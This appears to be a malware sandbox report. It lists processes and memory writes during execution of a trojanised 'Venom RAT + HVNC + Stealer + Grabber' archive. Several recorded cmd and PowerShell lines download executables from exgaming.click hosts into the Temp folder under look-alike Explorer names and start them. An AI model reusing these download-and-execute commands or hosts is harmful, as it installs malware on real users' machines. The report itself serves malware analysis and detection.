N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Windows\helppane.exe N/A
N/A N/A C:\Windows\helppane.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Users\Admin\Desktop\VenomRAT v6.0.3 (SOURCE)\VenomRAT v6.0.3 (SOURCE).exe N/A
N/A N/A C:\Users\Admin\Desktop\VenomRAT v6.0.3 (SOURCE)\VenomRAT v6.0.3 (SOURCE).exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Users\Admin\Desktop\Venom2\Venom RAT + HVNC + Stealer + Grabber.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Users\Admin\Desktop\VenomRAT-V5.6-HVNC\Venom RAT + HVNC.exe N/A
N/A N/A C:\Users\Admin\Desktop\VenomRAT-V5.6-HVNC\Venom RAT + HVNC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4364 wrote to memory of 2720 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 2720 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 836 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 820 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 820 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 820 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 820 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 820 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 820 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 820 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 820 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 820 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 820 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 820 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 820 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 820 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe
PID 4364 wrote to memory of 820 N/A C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\firefox.exe

Processes

C:\Windows\system32\winlogon.exe

winlogon.exe

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\image_2023-08-10_105756834.png

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe"

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.0.1801640359\622878791" -parentBuildID 20221007134813 -prefsHandle 1920 -prefMapHandle 1912 -prefsLen 20938 -prefMapSize 232675 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5addd79c-88a7-4ba4-bb6d-dc4304d2a154} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 2012 2755d4d3258 gpu

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.1.1249712786\161996329" -parentBuildID 20221007134813 -prefsHandle 2388 -prefMapHandle 2384 -prefsLen 20974 -prefMapSize 232675 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {361056ba-672b-404a-90b6-14a98e0fc269} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 2408 2755cfe6b58 socket

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.2.556822165\411783864" -childID 1 -isForBrowser -prefsHandle 3476 -prefMapHandle 3420 -prefsLen 21077 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7c712768-84a3-4924-9087-4008b645ef54} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 2948 275612fbd58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.3.529983660\1164060597" -childID 2 -isForBrowser -prefsHandle 3568 -prefMapHandle 3584 -prefsLen 26437 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {49268609-afdc-4f3d-87f7-e53c57bc1b11} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 3648 27550765958 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.4.123958311\1924153311" -childID 3 -isForBrowser -prefsHandle 3928 -prefMapHandle 3924 -prefsLen 26496 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {52328265-00a0-4255-ae70-a0bd1aa426d3} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 3936 27562879e58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.6.614090259\714001909" -childID 5 -isForBrowser -prefsHandle 5236 -prefMapHandle 5240 -prefsLen 26496 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3449ac11-e6a3-4f02-8f54-1d25b80d9712} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 5228 2756362d858 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.7.95567158\938171095" -childID 6 -isForBrowser -prefsHandle 5440 -prefMapHandle 5220 -prefsLen 26496 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7512171b-1928-43b6-950a-ca0eb7415a0b} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 5432 275637c2858 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.5.329053617\1124582080" -childID 4 -isForBrowser -prefsHandle 5048 -prefMapHandle 5104 -prefsLen 26496 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6845a8db-e2a0-4cfe-a771-2d8cdf97b145} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 1420 2756362ab58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.8.66571305\1771376931" -parentBuildID 20221007134813 -prefsHandle 5940 -prefMapHandle 5928 -prefsLen 26656 -prefMapSize 232675 -appDir "C:\Program Files\Mozilla Firefox\browser" - {177c94b3-8518-48ad-9d72-762f511cc31d} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 5936 275653dd958 rdd

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.9.1311197087\1000125817" -childID 7 -isForBrowser -prefsHandle 6124 -prefMapHandle 6132 -prefsLen 26656 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b27a441b-2f1c-44ea-a212-2d8def49c23b} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 6096 2756554d958 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.10.1629543102\706816828" -parentBuildID 20221007134813 -sandboxingKind 1 -prefsHandle 1364 -prefMapHandle 2860 -prefsLen 26831 -prefMapSize 232675 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {89de2552-5782-4702-8821-fc312b274273} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 4404 275652d4658 utility

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.11.744058156\1286584731" -childID 8 -isForBrowser -prefsHandle 4108 -prefMapHandle 4120 -prefsLen 26831 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a163525b-0f9b-42ec-a46d-81047743200b} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 4068 27565e57a58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.12.145329893\353076362" -childID 9 -isForBrowser -prefsHandle 6604 -prefMapHandle 6600 -prefsLen 27096 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8a560b0c-f6e8-48ba-a5e6-ed9fce96044d} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 6616 27564dfc158 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.13.2095586292\477828480" -childID 10 -isForBrowser -prefsHandle 6640 -prefMapHandle 6636 -prefsLen 27096 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9b767009-437d-4227-90d5-84a1c14511e2} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 6648 275637c3d58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.14.1971116904\185040134" -childID 11 -isForBrowser -prefsHandle 5504 -prefMapHandle 4080 -prefsLen 27096 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9200a4b9-d653-45a0-83be-b75ce61c2bce} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 6104 27561260d58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.15.1537975332\1465286093" -childID 12 -isForBrowser -prefsHandle 6884 -prefMapHandle 6872 -prefsLen 27136 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ce1b1dc9-1e66-4f44-a505-7f4572c1befd} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 6864 27566645c58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.16.321786477\1208336797" -childID 13 -isForBrowser -prefsHandle 7028 -prefMapHandle 7032 -prefsLen 27136 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {becf3e9d-da79-4def-80c5-f6d83e992cec} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 7020 27566645058 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.17.693161465\1811723381" -childID 14 -isForBrowser -prefsHandle 7224 -prefMapHandle 7228 -prefsLen 27136 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {67ebba38-b8d1-4f98-bd1b-ecfaca57f30d} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 7216 27566c2c458 tab

C:\Windows\system32\AUDIODG.EXE

C:\Windows\system32\AUDIODG.EXE 0x294 0x378

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.18.440277342\1350188193" -childID 15 -isForBrowser -prefsHandle 3996 -prefMapHandle 7484 -prefsLen 27272 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {910b3f6a-4794-48bb-9cf2-dae4bcbf7601} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 7416 2755072de58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.19.250288139\276116675" -childID 16 -isForBrowser -prefsHandle 11076 -prefMapHandle 6108 -prefsLen 27272 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e1dc44f3-a6c2-4797-8618-ef95a937c276} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 7224 27564b95958 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.20.1583917566\1864338031" -childID 17 -isForBrowser -prefsHandle 10816 -prefMapHandle 10832 -prefsLen 27272 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {cdf54e3a-c793-44b5-9d82-e098f17c9419} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 6968 27566779a58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.23.1550982869\2095768467" -childID 20 -isForBrowser -prefsHandle 10288 -prefMapHandle 10284 -prefsLen 27272 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c9af85ac-732a-4f5b-bbf4-78c5884bb128} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 10296 27567055f58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.22.612307865\1190793157" -childID 19 -isForBrowser -prefsHandle 10488 -prefMapHandle 10484 -prefsLen 27272 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {45e5275d-915e-4e10-aa90-f129fa9b07a8} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 10628 27567053858 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.21.15760475\746457915" -childID 18 -isForBrowser -prefsHandle 10660 -prefMapHandle 10664 -prefsLen 27272 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1aec8f1e-db68-442a-97ce-23d1cfc04d6c} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 10652 27566fc6a58 tab

C:\Program Files\Mozilla Firefox\firefox.exe

"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4364.24.1407713397\514916052" -childID 21 -isForBrowser -prefsHandle 10976 -prefMapHandle 7748 -prefsLen 27272 -prefMapSize 232675 -jsInitHandle 1092 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {143aa8b4-6eaf-4543-9400-470b6f4d746b} 4364 "\\.\pipe\gecko-crash-server-pipe.4364" 6108 2755f8b1958 tab

C:\Windows\System32\rundll32.exe

C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding

C:\Program Files\7-Zip\7zFM.exe

"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\Downloads\VenomRAT v6.0.3.rar"

C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe

"C:\Users\Admin\AppData\Local\Temp\7zO0D9F0F49\Venom RAT + HVNC + Stealer + Grabber.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 440 -p 6756 -ip 6756

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -u -p 6756 -s 1664

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'

C:\Windows\system32\taskmgr.exe

"C:\Windows\system32\taskmgr.exe" /4

C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe

"C:\Users\Admin\Desktop\Venom\Venom RAT + HVNC + Stealer + Grabber.exe"

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'

C:\Windows\system32\WerFault.exe

C:\Windows\system32\WerFault.exe -pss -s 540 -p 944 -ip 944

C:\Windows\system32\WerFault.exe

